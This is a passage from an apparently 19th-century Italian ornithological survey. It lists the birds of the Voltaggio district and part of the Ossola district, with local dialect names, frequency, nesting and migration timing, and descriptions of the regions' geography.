nasce nei monti della Bocchetta, attraversa questa zona in tutta la sua lunghezza da sud a nord, ricevendo nel suo corso alcuni torrentelli minori, ma pur essi provvisti d'acqua tutto l'anno, quali la Carbonasca, il Rumezzano ed il Recroso a destra, l'Acquastriata, il Morscione e la Brigna a sinistra. Rappresenta il torrente Lemmo, col suo letto limitato d'assai, l'arteria principale, per la quale si fa quasi tutto il passaggio sì di emigrazione che di immigrazione. Monti altissimi circuiscono questo territorio da tre lati, la sola parte rivolta a nord rimanendo aperta. Fra questi monti apronsi molti valichi o gole, dagli uccelli, in genere, preferiti per punti di passaggio; la neve cuopre tali monti per circa quattro mesi, cioè dal dicembre all’aprile. Non sono molti anni che una ricca vegetazione d’alberi annosi e di cespugli inverdiva tutti questi monti; ma una inconsulta e pur legalmente tollerata mania di disboscamento li ridusse oggidì poverissimi, essendo tutte le più alte punte e molti minori monticelli spogli affatto di ogni vegetazione arborea, servendo soltanto a pascoli. Per queste ragioni moltissime specie d’uccelli, che un tempo vi si incontravano abbondantissime, sono oggidì fatte rare d’assai, ed alcune di esse tendono a sparire, mentre sgraziatamente qualche specie, ed importante, scomparve affatto. Elenco generale delle specie di uccelli osservate nella provincia di Alessandria, coi nomi volgari locali ed indicazioni di frequenza, ecc.¹ Corvus Corax, Cróvu. Raro. Corvus Corone, Cróvu. Meno rara. C. Cornix, Cróvu, Cornàggia. Comune. C. frugilegus, Cróvu. Più comune di tutti i Corvi. Lycos Monedula, Crovin. Rarissimo. Nucifraga Caryocatactes. Di comparsa casuale. Pica rustica, Lâja. Rarissima ai monti e solo di passo; comunissima al piano. ¹ Col titolo Gli uccelli del Basso Piemonte, Milano, 1887, il signor N. Camusso ha pubblicato un elenco con note e notizie degli uccelli della provincia di Alessandria; egli divide le 228 specie registrate in stazionarie 41, di passo regolare 91, di passo irregolare 47, avventizio 49. Garrulus glandarius, Gazzan-na. Comunissima. Sturnus vulgaris, Storno, Stronello. Comune. Pastor roseus, Storn rëusa. Casuale, rarissimo. Fringilla coelebs, Frenguello. Comunissimo. F. Montifringilla, Frenguello montanin. Comune. Montifringilla nivalis. Rarissimo; casuale ne è la comparsa. Petronia stulta, Passuun. Comune. Passer montanus, Passuétta. Comunissima. P. Italiæ, Pássua. Comunissima. P. domesticus, Pássua. Rarissima. Coccothraustes vulgaris, Frixiún. Comune; intermittente. Ligurinus Chloris, Verdón. Abbonda. Chrysomitrís Spinus, Lugaén. Comune; intermittente. Carduelis elegans, Cardén-na. Comunissimo. Serinus hortulanus, Siaén. Non comune, di passo irregolare. Cannabina Linota, Fanéetto. Comunissimo. Ægiothus rufescens. Rarissimo, di accidentale comparsa. Carpodacus erythrinus. Rarissimo, di accidentale comparsa. Pyrrhula europæa, Sciguun. Non comune. Loxia Curvirostra, Beccotorto. Raro; irregolare. Miliaria Projer, Ciattarón. Comunissimo. Emberiza Citrinella, Sia pagéa. Comunissimo. E. Cirlus, Sia muntagnin-na. Comune. E. Hortulana, Nottuán. Comune. E. cæsia, Sia muntagni-na. Rarissimo. E. Cia, Sia nostrà. Comune. E. Schœniclus, Strapássua. Raro. Melanocorypha Calandra. Rarissima; casuale. Alauda arborea, Petronella. Comunissima. A. arvensis, Grivéa, Lódua. Piuttosto rara. Galerita cristata, Capelúma, Lodua. Piuttosto rara. Agrodroma campestris, Terén-na. Piuttosto raro. Corydalla Richardi. Rarissimo; casuale affatto. Anthus pratensis, Sisì da prou. Comune. A. trivialis, Spia da nottuan. Frequentissimo. A. Spipoletta, Sisì d' aegua. Frequente. Budytes flavus, Gianéetta. Comune. B. cinereocapillus, Gianéta. Scarsa. Motacilla alba, Bâlén-na. Frequent. Calobates melanope, Gianéta. Frequent. Saxicola Oenanthe, Cugianco de téra. Frequent. S. albicollis. Rarissima. S. Stapazina. Rarissima. Monticola saxatilis, Cuarossón. Frequent. M. Cyanus, Passua salutia. Scarsa. Merula nigra, Merlo. Comunissimo. M. torquata. Rarissimo. Turdus pilaris, Calandra. Scarsa; intermittente. T. iliacus, Corsín. Abbonda. T. musicus, Turdo. Abbonda. T. viscivorus, Tourdeuia. Abbonda. Aëdon Luscinia, Ruscigneu. Comunissimo. Erithacus Rubecula, Pecetto. Comunissimo. Cyanecula Wolfi. Rarissimo. Ruticilla Phœnicurus, Cuarossetta. Frequent. R. titys, Cuarossetta. Frequent. Pratincola Rubicola, Simacusti. Frequent. P. Rubetra, Simacusti. Frequent. Sylvia nisoria, Fenugià. Scarso. S. orphæa, Moretta, Ciccibeú. Comune. S. cinerea, Ciarlettua. Rara. S. Curruca. Rara. S. subalpina, Ciarlettuin-na. Rara. Monachus Atricapillus, Testaneigra. Frequent. M. hortensis, Beccafigo. Frequent. Pyrophthalma melanocephala. Rarissimo. Melizophilus undatus. Rara. M. sardus. Rarissima. Phylloscopus sibilator, Boén. Frequent. Ph. Trochilus, Boèn, Sisì. Frequent. Ph. Bonellii, Boenétto. Scarso. Ph. rufus, Boenétto. Scarso. Hypolais polyglotta, Ciarlettuinna. Frequent. Acrocephalus streperus, Paiarzin. Rara assai. Acrocephalus arundinaceus, Ruscigneu foestè. Raro. Calamodus schœnobœnus, Paiarzin. Raro. C. aquaticus, Paiarzin. Raro. Potamodus luscinioides. Accidentale. Cettia Cettii. Accidentale. Cisticola cursitans, Pittamuscin. Scarso. Troglodytes parvulus, Cincin da neive, Reattin. Comunissimo. Cinclus aquaticus, Merlo acquà, Pescamartin. Comunissimo. Accentor collaris. Scarso. A. modularis, Buschin. Scarsa. Regulus cristatus, Testin d’ou. Frequente. R. ignicapillus, Testin d’ou. Frequente. Ægithalus pendulinus. Rarissimo. Acredula rosea, Parissuin. Scarsa. Parus major, Parisseua. Abbonda. P. ater, Parissuin. Rara. Cyanistes caeruleus, Parissuin celeste. Rara. Poecile palustris. Rara. Sitta cæsia, Rampeghin. Frequente. Certhia brachydactyla, Rampeghin. Comune. Tichodroma muraria, Pittamon. Comune. Oriolus Galbula, Garbè. Comunissimo. Lanius Excubitor, Cajurno lombardo grosso. Rarissima. L. minor, Cajurno lombardo. Rara. L. Collurio, Cajurno. Comunissima. L. auriculatus, Cajurno. Comunissima. Muscicapa collaris. Rara. M. Atricapilla. Rara. Butalis Grisola. Meno raro. Hirundo rustica, Rundanin-na. Comune. H. rufula. Rarissima. Chelidon urbica, Cugianco d’aja. Comunissimo. Clivicola riparia, Cugianco de riva. Raro. Cotile rupestris. Rara. Cypselus Apus, Rondón. Comunissimo. C. Melba, Rondón gianco. Raro. Caprimulgus europæus, Carcabaggi. Comune. Picus major, Picunsin. Poco abbondante. P. minor, Picunsin. Piuttosto raro. Gecinus viridis, Piconso gazanà. Frequente. Iynx Torquilla, Pittafurmighe. Comunissimo. Cuculus canorus, Cuccu. Comunissimo. Alcedo Ispida, Serena. Comunissimo. Coracias Garrula. Rarissimo e casuale. Merops Apiaster, Serena cua lunga. Rarissimo e casuale. Upupa Eops, Galletto d’marzo. Comunissima. Strix flammea, Damina. Raro al monte, comune al piano. Syrnium Aluco, Aucco. Piuttosto raro. Asio Otus, Aucco. Piuttosto raro. A. accipitrinus, Testagatto. Frequente. Athene Noctua, Ciò. Comunissima. Scops Giu, Ciò, Ciouin. Meno comune. Bubo maximus, Dugo, Aucco grosso. Raro. Circus æruginosus; Farcón. Raro. Circus cyaneus. Rarissima, casuale. C. cineraceus. Rarissima, casuale. Circaëtus gallicus, Agugia. Non raro. Aquila Chrysaëtus, Aquila. Rara. Archibuteo lagopus, Farco galinà. Rara. Buteo vulgaris, Farco galinà. Meno rara. Pernis apivorus, Farco galinà. Non raro. Milvus Ictinus. Raro. M. migrans. Rarissimo. Falco Peregrinus. Raro. Hypotriorchis Subbuteo, Crivèla. Comunissimo. Æsalon regulus, Crivèla, Farchéttò. Rarissimo. Cerchneis Tinnunculus, Crivèla. Comunissimo. C. Naumanni, Crivèla. Rarissimo. C. vespertinus. Rarissimo. Astur palumbarius. Rarissimo. Accipiter Nisus, Farchetto. Comune. Ardea cinerea, Perdi giorno seneen grosso. Rarissimo. A. purpurea, Perdi giorno rosso. Rarissimo. Egretta alba. Rarissima, accidentale. Egretta Garzetta. Rarissima, accidentale. Ardeola ralloides. Rarissima, accidentale. Ardetta minuta, Perdigiorno piccin. Non rara. Botaurus stellaris. Rarissimo. Nycticorax griseus. Rarissimo. Ciconia alba. Eccezionalmente rara. Plegadis Falcinellus. Rarissimo. Cygnus musicus, Cign. Accidentale. Anser segetum. Eccezionalmente rara, casuale. Anas Boscas, Ania sarvaega, Colloverde. Non raro. Chaulelasmus streperus, Ania sarvaega. Rara assai. Spatula clypeata, Spatula, Beccociatto. Non raro. Dafila acuta, Ania sarvaega. Raro. Mareca Penelope, Ania sarvaega. Raro. Nettion Crecca, Garganella. Comune. Querquedula Circia, Garganella. Comune. Fulix ferina, Ania neigra. Rarissimo. F. Nyroca. Rarissima. Bucephala Clangula, Quattr' oeuggi. Raro. Mergus Merganser, Pescaron. Raro assai. Mergellus Albellus, Pescareula. Rara. Columba Palumbus, Colasso. Piuttosto comune. C. Oenas, Coombo sarvaego. Piuttosto comune. C. livia, Coombo sarvaego. Meno comune. Turtur tenera, Turtua. Comunissima. Perdix rufa, Pernixe rossa. Comune, non abbondante. Perdix saxatilis, Cômbea. Rara. Starna Perdix, Stérna. Comune, non abbondante. Coturnix communis, Quâgia. Rara. Rallus aquaticus. Rara. Ortygometra Porzana, Galinéttta. Raro. O. Bailloni, Galinéttta d'aegua. Rara. O. parva, Galinéttta. Rara. Crex pratensis, Requaggio. Raro. Gallinula chloropus, Galinéttta neigra. Rarissima. Fulica atra, Fulaga. Rara. Grus communis, Grù. Rarissima. Otis Tarda. Accidentale. Otis Tetrax. Rara assai. Cedcnemus scolopax, Teston. Comune al piano. Charadrius Pluvialis, Testonotto. Comune al piano. Squatarola helvetica. Rarissima. Eudromias Morinellus. Piuttosto rara. Ægialitis cantiana, Curentin. Piuttosto raro. Æ curonica, Curentin. Piuttosto raro. Æ Hiaticula, Pio-piò. Piuttosto raro. Vanellus Capella, Galinetta, Marzéu. Piuttosto rara. Hæmatopus Ostralegus, Beccassa de ma. Rarissima. Himantopus candidus. Rarissimo. Pelidna subarquata. Raro, in primavera. Actodromas minuta. Raro, in primavera. Machetes Pugnax. Rarissima. Tringoïdes Hypoleucus, Pio-piò, Curentin. Nou raro. Totanus Ochropus, Cugianco d’aegua. Non raro. T. Glareola, Pio-piò. Non raro. T. stagnatilis, Pio-piò. Non raro. T. Calidris, Pio-piò. Non rara. T. fuscus, Curenton. Raro. Limosa melanura, Beccassa d’ma. Avventizia. L. rufa. Avventizia. Scolopax Rusticula, Beccassa. Comune assai. Gallinago major, Becassin mazzengo. Rarissimo. G. cælestis, Becassin reà. Rara. G. Gallinula, Becassin sordo. Raro. Numenius Arquata, Poulin d’acqua. Al piano. N. tenuirostris. Rarissimo. Sterna fluviatilis, Ochin. Frequente. Sternula minuta. Raro. Hydrochelidon nigra. Meno raro della specie precedente. Chrocephalus melanocephalus. Accidentale. Podiceps cristatus, Cassasut. Raro. Podiceps nigricollis, Suttacquin. Raro. Podiceps fluvialitis, Cassasut peit. Meno scarso. Elenco delle specie di uccelli che sono sedentarie nella provincia di Alessandria, circondario di Voltaggio. Corvus Cornix. Pica rustica. Garrulus glandarius. Sturnus vulgaris. Fringilla coelebs. Passer montanus. P. Italiae. Carduelis elegans. Cannabina Linota. Miliaria Projer. Emberiza Citrinella. E. Cirlus. E. Cia. Alauda arborea. A. arvensis. Galerita cristata. Motacilla alba. Calobates melanope. Monticola Cyanus. Merula nigra. Turdus viscivorus. Erithacus Rubecula. Ruticilla titys. Pratincola Rubicola. Monachus Atricapillus. Troglodytes parvulus. Accentor collaris. Cinclus aquaticus. Regulus cristatus. R. ignicapillus. Parus major. Certhia brachydactyla. Tichodroma muraria. Picus major. P. minor. Gecinus viridis. Alcedo Ispida. Athene Noctua. Cerchneis Tinnunculus. Perdix rufa. Starna Perdix. Elenco delle specie di uccelli che nidificano nel distretto di Voltaggio, provincia di Alessandria, con note di frequenza. Garrulus glandarius. Comunissima. Sturnus vulgaris. Comune da pochi anni. 1 Mentre posso dare esattissima la nota degli uccelli che annidano nel distretto, sono dolente di dover sorvolare a tutte le altre questioni Fringilla cœlebs. Comunissimo. F. Montifringilla. Rarissima. Petronia stulta. Comune. Passer montanus. Comunissima. P. Italæ. Comunissima. Coccothraustes vulgaris. Rarissimo. Ligurinus Chloris. Comune. Carduelis elegans. Comune. Cannabina Linota. Comune. Pyrrhula europæa. Rarissimo. Miliaria Projer. Comune. Emberiza Citrinella. Comune. E. Cirlus. Comune. E. Hortulana. Comunissimo. E. Cia. Comune. Alauda arborea. Comune. Budytes flavus. Comune. Motacilla alba. Comune. Calobates melanope. Meno della precedente. Saxicola Oenanthe. Scarseggia. S. albicollis. Rarissima. S. Stapazina. Rarissima. Monticola saxatilis. Comunissimo. M. Cyanus. Rara assai. Merula nigra. Comunissimo. Turdus viscivorus. Comunissima. Aëdon Luscinia. Comunissimo. Erithacus Rubecula. Comune. Ruticilla Phœnicurus. Comune. R. titys. Comune. Pratincola Rubicola. Scarseggia. P. Rubetra. Scarseggia. Sylvia nisoria. Scarseggia. S. orphæa. Comune. S. cinerea. Comune. S. Curruca. Scarsa. S. subalpina. Scarsa. Monachus Atricapillus. Comune. M. hortensis. Comune. Phylloscopus Bonellii. Comune. Ph. rufus. Scarseggia. Hypolais polyglotta. Scarseggia. Cisticola cursitans. Scarseggia. Troglodytes parvulus. Comune. Cinclus aquaticus. Comune. Accentor collaris. Scarso. Regulus cristatus. Raro. R. ignicapillus. Raro. Acredula rosea. Scarsa. Parus major. Comunissima. Certhia brachydactyla. Comune. Tichodroma muraria. Scarso. fatto in merito alla nidificazione, e per non aver avuto il presente questionario che quando buona parte degli uccelli avevano già costrutto da molto il loro nido, e per mancare d’uno speciale permesso, che mi preservasse da una contravvenzione alla quale sarei certo andato incontro se avessi voluto attendere alle osservazioni rigorose, delle quali erami mestieri per poter rispondere al presente quesito. Nella speranza di potere in una prossima primavera meglio risponderò a tali domande, mi limito a segnare qui le specie che mi risulta certissimo annidare nel distretto. Lanius minor. Rarissima. L. Collurio. Comune. L. auriculatus. Comune. Muscicapa collaris. Rarissima. Butalis Grisola. Rarissimo. Hirundo rustica. Rara. Chelidon urbica. Comunissimo. Cotile rupestris. Rara. Cypselus Apus. Comunissimo. Caprimulgus europaeus. Comunissimo. Picus major. Raro. P. minor. Raro. Gecinus viridis. Comune. Iynx Torquilla. Comune. Cuculus canorus. Comune. Alcedo Ispida. Comune. Upupa Epop. Comune. Strix flammea. Rarissimo. Syrnium Aluco. Rarissimo. Asio Otus. Rarissimo. A. accipitrinus. Casualmente. Athene Noctua. Comune. Scops Giu. Raro. Bubo maximus. Rarissimo. Circaetus gallicus. Rarissimo. Buteo vulgaris. Rarissima. Cerchneis Tinnunculus. Comune. Accipiter Nisus. Scarso. Columba Palumbus. Raro. Turtur tenera. Comune. Perdix rufa. Comune. Starna Perdix. Comune. Coturnix communis. Rarissima. Tringoides Hypoleucus. Raro. Sterna fluviatilis. Scarso. Elenco delle specie di uccelli che sono di passaggio regolare nel distretto di Voltaggio, nella provincia di Alessandria. Sturnus vulgaris. Giunge ad aprile, parte a luglio; ripassa a settembre e novembre. Fringilla coelebs. Autunno, da ottobre a metà novembre. F. Montifringilla. Autunno, da novembre a metà febbraio. Petronia stulta. Giunge in aprile, parte nell’ottobre. 1 Fra le specie che fanno passaggio regolare, io annoto anche alcune di quelle, che, pur essendo fra le sedentarie, sogliono nelle epoche delle migrazioni aumentare di numero per quegli individui che venendo da luoghi più settentrionali del nostro, s’offermandosi nel loro transito qualche tempo in questo distretto. Passer montanus. Dalla fine di settembre alla metà di novembre. P. Italiae. Dalla fine di settembre alla metà di novembre. Ligurinus Chloris. Giunge ad aprile, parte dalla metà d’ottobre alla metà di novembre. Carduelis elegans. Fa passo da settembre alla fine di ottobre. Cannabina Linota. Passa in autunno, dalla fine d’agosto a tutto novembre. Miliaria Projer. Da settembre a febbraio. Emberiza Citrinella. Dalla metà d’agosto a tutto dicembre. E. Cirlus. Dal principio di settembre a tutto novembre. E. Hortulana. Arriva nell’aprile e annida, parte dall’agosto alla fine di settembre. E. Cia. Arriva alla metà d’aprile e annida, parte continuando il passo a tutto novembre. Alauda arborea. Arriva alla metà d’aprile e annida, parte continuando il passo a tutto novembre. Anthus pratensis. Passa in autunno dalla metà d’ottobre alla fine di novembre. A. trivialis. Passa da apr. a magg. e da luglio a tutto ottob. A. Spipoletta. Passa da apr. a magg. e da ottob. a tutto febbraio. Budytes flavus. Arriva alla metà di marzo, passa fino a tutto ottobre. Motacilla alba. Arriva alla metà di marzo, passa fino a tutto ottobre. Calobates melanope. Giunge in aprile e annida, parte nel settembre. Saxicola Oenanthe. Giunge nella seconda metà d’aprile, parte nell’ottobre. Monticola saxatilis. Arriva nel maggio, parte dall’agosto a tutto settembre. Merula nigra. Arriva coll’aprile, parte fra l’ottobre e tutto il novembre. Turdus iliacus. Fa solo passo autunnale da ottobre a gennaio. T. musicus. Passa tra il marzo e l’aprile scarso, ripassa abbondante fra il settembre ed il novembre. T. viscivorus. Giunge a febbraio, passa in autunno dal principio d’ottobre al dicembre. Aëdon Luscinia. Giunge alla fine di marzo, parte dentro l’ottob. Erithacus Rubecula. Arriva a marzo, parte da ottobre alla fine di novembre. Ruticilla Phœnicurus. Arriva a marzo, parte da settembre alla fine d’ottobre. R. titys. Arriva a marzo, passa da settemb. alla fine di ottob. Pratincola Rubicola. Giunge alla metà d’aprile, scompare nell’ottobre. P. Rubetra. Arriva nel marzo, parte fra l’ottob. ed il novemb. Sylvia orphæa. Giunge a metà d’aprile, parte nell’agosto. Monachus Atricapillus. Giunge a metà di marzo, parte nella 1ª quindicina di settembre. Phylloscopus sibilator. Arriva al principio d’aprile, parte nel settembre. Hypolais polyglotta. Arriva al principio d’aprile, parte nel settembre. Troglodytes parvulus. Giunge nell’aprile, parte in tutto il novembre. Parus major. Arriva nel marzo (fine), fa passaggio dalla fine d’ottobre alla fine di novembre. Oriolus Galbula. Giunge dal 10 al 20 aprile, parte dalla metà d’agosto alla fine di settembre. Lanius Collurio. Dalla metà d’aprile a tutto settembre. L. auriculatus. Dalla metà d’aprile a tutto settembre. Hirundo rustica. Arriva alla fine di marzo, passa in partenza a tutto ottobre. Chelidon urbica. Dal principio di marzo a tutto ottobre. Cypselus Apus. Dall’aprile a tutto settembre. Caprimulgus europæus. Dal principio di magg. a tutto sett. lynx Torquilla. Arriva alla metà di marzo, scompare nel settembre. Cuculus canorus. Dal principio d’aprile alla fine di settembre. Upupa Eepops. Dalla metà di marzo alla fine di settembre. Asio accipitrinus. Dal principio d’aprile alla metà di maggio, e dalla metà d’ottobre alla metà di novembre. Cerchneis Tinnunculus. Passa in qualche abbondanza da settembre a novembre. Accipiter Nisus. Da aprile ai primi di giugno, e dalla fine di settembre a tutto novembre. Turtur tenera. Dalla fine di aprile alla prima metà di sett. Vanellus Capella. Dalla fine d'ott. alla prima metà di nov. Scolopax Rusticula. Dalla fine di febbraio a tutto marzo, e dalla fine di settembre a tutto dicembre. Elenco delle specie di uccelli da considerarsi come di apparizione accidentale nella provincia di Alessandria. Corvus Corax. Lycos Monedula. Nucifraga Caryocatactes. Pastor roseus. Montifringilla nivalis. Ægiothus rufescens. Carpodacus erythrinus. Emberiza cæsia. Melanocorypha Calandra. Agrodroma Richardi. Saxicola albicollis. Saxicola Stapazina. Merula torquata. Cyanecula Wolfi. Sylvia nisoria. Pyrophthalma melanocephala. Melizophilus sardus. Acrocephalus arundinaceus. Acrocephalus streperus. Potamodus luscinioides. Cettia Cettii. Ægithalus pendulinus. Hirundo rufula. Coracias Garrula. Merops Apiaster. Circus aeruginosus. Circus cyaneus. Circus cineraceus. Archibuteo lagopus. Cerchneis Naumanni. Astur palumbarius. Egretta alba. Egretta Garzetta. Ardeola ralloides. Botaurus stellaris. Ciconia alba. Plegadis Falcinellus. Cygnus musicus. Mergus Merganser. Otis Tarda. Otis Tetraz. Squatarola helvetica. Hæmatopus Ostralegus. Himantopus candidus. Limosa melanura. Limosa rufa. Chroocephalus melanocephalus. Podiceps cristatus. Podiceps nigricollis. Novara, circondario di Ossola (Bazetta capitano Giulio, Pertusi dott. cav. Alessandro): L'Ossola superiore dal punto di vista faunistico, si può considerare limitato dai seguenti confini: Il bacino del Toce dalle sue sorgenti sino ad Ornavasso, più le vallate secondarie di Anzasca, Antrona, Bognanco, Divedro, Antigorio, Formazza e Vigezzo. Queste valli sono delimitate, verso la Svizzera, dai confini di Stato. Solo per la Valle Vigezzo, parmi convenga comprendere nel territorio faunistico ossolano i due distretti che, pur facendo parte del Mandamento di Santa Maria Maggiore, non appartengono, topograficamente, al bacino del Toce, e cioè il territorio al di là del passo di Finero sino alla galleria di Cursolo ove incomincia il territorio di Valle Canobbina, e l'altro dei Bagni di Craveggia che pur formando la testata della Valle Ousernone (Canton Ticino), in quel tratto dipende dal mandamento di Santa Maria Maggiore, Valle Vigezzo. Il territorio faunistico ossolano, così delineato, presenta i seguenti principali caratteri fisici: L'Ossola è compresa in quel tratto che si estende nel versante delle alpi Leponzie, dal Monte Rosa al Gries, sotto il 26° di longitudine orientale, intersecato dal 46° di latitudine. Confina, ad O. ed a N. col Canton Vallesse; a NE. ed a E. col Canton Ticino; a S. col circondario di Pallanza. Ad O. ed a N., l'Ossola è ricinta dalla catena delle Alpi che partendo dal gruppo del Monte Rosa si prolunga a semicerchio fino al Gries dal cui massiccio hanno poi origine i contrafforti che la separano ad E., dal Canton Ticino fino al monte Limidario. Un nucleo di monti, che potrebbe considerarsi come gruppo isolato, segna il confine col circondario di Pallanza, verso il S. Ghiacciai, nevi perpetue e nude rocce segnano i punti più culminanti che delimitano i confini di Stato, anche qui astrazione fatta, per quel tratto di confine in Valle Vigezzo. Ai ghiacciai ed alle nevi perpetue fanno seguito zone di pascoli alpini che vanno man mano declinando sino agli altipiani delle valli, altipiani in gran parte abitati in ogni stagione dell'anno che, come in Valle Formazza ad Agaro, in Valle Anzasca a Macugnaga ecc., trovansi fra i 1200 ed i 1500 metri di altitudine sul livello del mare. Le valli secondarie già nominate, nonché le piccole vallate terzarie sono tutte percorse da torrenti che, più su, più giù, sboccano nel fiume Toce. Oltre 53 laghetti alpini, quali più quali meno estesi e profondi, trovansi sparsi in questa zona alpina e non sono rari quelli che sono situati a ben 2500 metri d'altitudine. Desumendolo dai dati decennali dell'Osservatorio Meteorologico di Domodossola abbiamo, per l'estate, una massima di caldo di + 31° ed una minima di + 15°; e per l'inverno una massima di + 10° ed una minima di -9°. La temperatura media annuale oscilla fra i + 13° ed i 15°. La neve cade frequente durante l'inverno, l'autunno e la primavera, ciò massime sulle vette e sugli altipiani delle valli, tanto che alcuni pascoli ne sono ancora ricoperti in giugno e sonvi laghetti alpini gelati a mezzo luglio. Nel bacino della Valle del Toce si coltivano tuberi, viti e grani. Vi predominano le praterie. — I boschi di ontani sorgono rigogliosi ovunque l'infiltrazione delle acque forma terreno paludoso. I pioppi, le querce, i gelsi, gli alberi da frutta sono comuni al piano. I boschi cedui ed i castagneti salgono sui versanti sin oltre gli 800 metri. Seguono quindi zone di betule e faggi a cui fanno seguito boschi di conifere che per ultimo limite hanno larga zona di mirtilli e rododendri che si spingono sin presso le ultime morene. L'avifauna Ossolana è rappresentata da quasi tutte le specie proprie e caratteristiche dell'avifauna Alpina. (Bazetta). La Valle, o circondario, dell'Ossola è formata dal bacino del fiume Toce e dai suoi sette affluenti che decorrono da sette vallate disposte a guisa delle dita allungate di una mano e sono: Valle Anzasca, Antrona, Bognanco, Divedro. Antigorio, Formazza o Isorno e Vigezzo; tutte confluenti nel bacino di Domodossola. Ha la direzione da N. a S. con a destra e ad O. le valli Anzasca, Antrona, Bognanco e Divedro (Sempione); a N. quelle di Antigorio, Formazza od Isorno (sorgenti del Toce); ad E. Val Vigezzo. Confina colla Svizzera in tutta questa cornice di altissimi monti, e così ad O. ha il Monte Rosa e il Monte Leone, a N. il Gries, coi loro immensi ghiacciai; ad E. ha monti meno elevati. La fauna ornitologica Ossolana presenta pressoché tutte le specie proprie della fauna Alpina, non che molte comuni al piano della Lombardia. Cosicché mentre si hanno in alto i Francolini, il Fringuello della neve ecc., al piano si hanno le Quaglie, l'Usignolo ecc. (Pertusi). Elenco generale delle specie di uccelli osservate nel circondario di Ossola, provincia di Novara, coi nomi volgari locali, indicazioni di frequenza, ecc. Corvus Corax, Coûrv, Scorbatt. Raro; abita gli alti monti; non so se nidifica. Corvus Cornix. Rarissimamente se ne trova qualche individuo unito ai Corvi. Corvus frugilegus, Coûrv, Scorbatt. Comune; di passo. Nucifraga Caryocatactes, Nisciolera. Nidifica sui monti; non troppo comune, non potei ancora procurarmi ova o nidiacei. Pica rustica, Berta. Non nidifica nell'Ossola, ne posseggo due esemplari, vi compare accidentalmente; è comune nel Novarese. 1 Questo elenco è dovuto al capitano Bazetta, il compianto dott. Pertusi avendo contribuito annotazioni intorno alle specie a lui più note, le quali meno poche eccezioni coincidono con quelle date dal capitano Bazetta. Garrulus glandarius, Gasgia, Gagia. Comune; nidifica al piano ed al monte; non oltre i 600 metri (Pertusi). Pyrrhocorax alpinus, Pagiòn. Comune sui monti; nei rigidi inverni scende al piano; al primo bel tempo risale. Pyrrhocorax Graculus. Due volte venne trovato misto ai branchi dei Gracchi; è rarissimo nell’Ossola. Sturnus vulgaris, Stoùrnell, Stornell. Non è comune all’epoca della riproduzione; capita a piccoli branchi in autunno e primavera. Pastor roseus. Mi è nota la cattura di due giovani maschi presi molti anni sono. Fringilla coelebs, Franguel, Franguèi. Comune; nidifica al piano ed ai monti; emigra; pochi rimangono stazionarii. Fringilla Montifringilla, Franguel montan, Montan. Giunge di passo autunnale in branchi; non mi consta abbia nidificato nell’Ossola. Montifringilla nivalis, Franguel d’la nev, Franguel d’montagna. Nidifica in prossimità dei ghiacciai; vive a branchi; raramente scende al piano nell’inverno. Passer montanus, Passara, Passarin, Passarot. Frequent; va generalmente confusa col Passero comune. Passer Italiæ, Passara, Passarin, Passarot. Comune e sedentaria; abbonda al piano; pochi al monte (Pertusi). Coccothraustes vulgaris, Frisôn, Sfrisôn. Non mi consta abbia nidificato nell’Ossola; giunge più o meno in numero nell’autunno. Ligurinus Chloris, Verdôn, Amolott. Nidifica al piano ed al monte; molti giungono di passo primaverile ed autunnale. Chloroptila Citrinella. Non posso con certezza accennare a questa specie (Bazetta); ne inviai uno al Museo di Firenze (Pertusi). Chrysomitrís Spinus, Rigorin, Rigolin. Un certo numero nidifica sui nostri monti; giunge a branchi nel novembre. Carduelis elegans, Ravanin. Nidifica di preferenza al piano; comune; giunge di passo in branchi. Serinus hortulanus, Pinin, Sverzellin, Verzellin. Nidifica di preferenza ai monti; non è comune; giunge di passo primaverile e autunnale. Cannabina Linota, Fannin, Fannett. Nidifica sui monti sin oltre i 1200 metri; giunge in branchi a primavera ed autunno. Ægithus rufescens, Fannin bastard. Nidifica ai monti; non è comune: giunge talvolta di passo frammisto al Montanello. Pyrrhula europæa, Ziffolot, Ciuffolot. Alcune coppie nidificano sui monti; giunge di passo; non è comune. Loxia Curvirostra, Becc in cròs. Non ho mai potuto avere ova o nidiacei di questa specie; alcuni anni è comune in tutte le stagioni sui monti; passano anni invece che pochi se ne vedono. Emberiza Citrinella, Spajarda. Nidifica sui monti; è comune; branchi ne giungono di passo primaverile ed autunnale; pochi individui si trovano anche nell'inverno. Emberiza Cirlus. Alcuni piccoli branchi capitano d'autunno. Emberiza Hortulana, Ortolan. Giungono di primavera ed in autunno; alcune coppie nidificano. Emberiza Cia, Zipp. Giungono di primavera ed in autunno; alcune coppie nidificano. Emberiza pusilla, Zipp. Giungono di primavera ed in autunno; alcune coppie nidificano; assai più raro della specie precedente. Emberiza Schœniclus. Raro. Melanocorypha Calandra, Calandra. Rara; qualche individuo giunge di passo. Alauda arborea, Lodola. Giunge d'autunno e primavera; ne rimangono alcune d'inverno; nidifica sui monti. Alauda arvensis, Lodola. Giunge d'autunno e primavera; ne rimangono alcune d'inverno; nidifica sui monti. Galerita cristata, Lodola. Giunge di passo; non so se abbia nidificato. Agrodroma campestris, Calandra. Giunge di passo; non so se abbia nidificato. Anthus pratensis, Vinascina, Vit-vit. Nidifica sui monti sin presso i 2000 metri; scende al piano in autunno; ne rimangono anche nell'inverno. **Anthus trivialis**, *Dordina*. Giunge di passo; alcune coppie nidificano sui monti. **Anthus Spipoletta**, *Vitt-vitt*. Nidifica sui monti. **Budytes flavus**, *Gialdirola*, *Piss-piss*. Alcuni nidificano: giunge numeroso in settembre. **Budytes cinereocapillus**, *Gialdirola*, *Piss-piss*. Meno comune della specie precedente, colla quale viene confusa. **Motacilla alba**, *Ballarina*, *Tremacova*. Comune e nidificante; molte giungono di passo. **Calobates melanope**, *Ballarina gialda*, *Gialdirola*. Meno comune della precedente; nidifica; molte giungono di passo. **Saxicola Oenanthe**, *Cù bianc*, *Cul bianc*. Giunge in primavera; nidifica sui monti sin oltre i 2000 metri; discende al piano in autunno. **Monticola saxatilis**, *Còcarousson*, *Corossolon*. Non è tanto comune; nidifica fra gli scogli; non si innalza oltre i 1000 metri; emigra. **Monticola Cyanus**, *Passera solitaria*. Non è tanto comune; nidifica fra gli scogli; non si innalza oltre i 1000 metri; emigra. **Merula nigra**, *Merlo*, *Merl*. Comune al piano e ai monti: non sale oltre i 1400 o 1500 metri; se ne rinvengono in discreto numero anche d'inverno; sono forse quelli che hanno nidificato al piano. **Merula torquata**, *Merlo d'montagna*. Non è molto comune: abita gli alti boschi; nidifica, ma non potei mai averne i piccini; non emigra e solo nei rigidi inverni scende verso il piano. **Turdus pilaris**, *Viscarda*, *Calandar*. 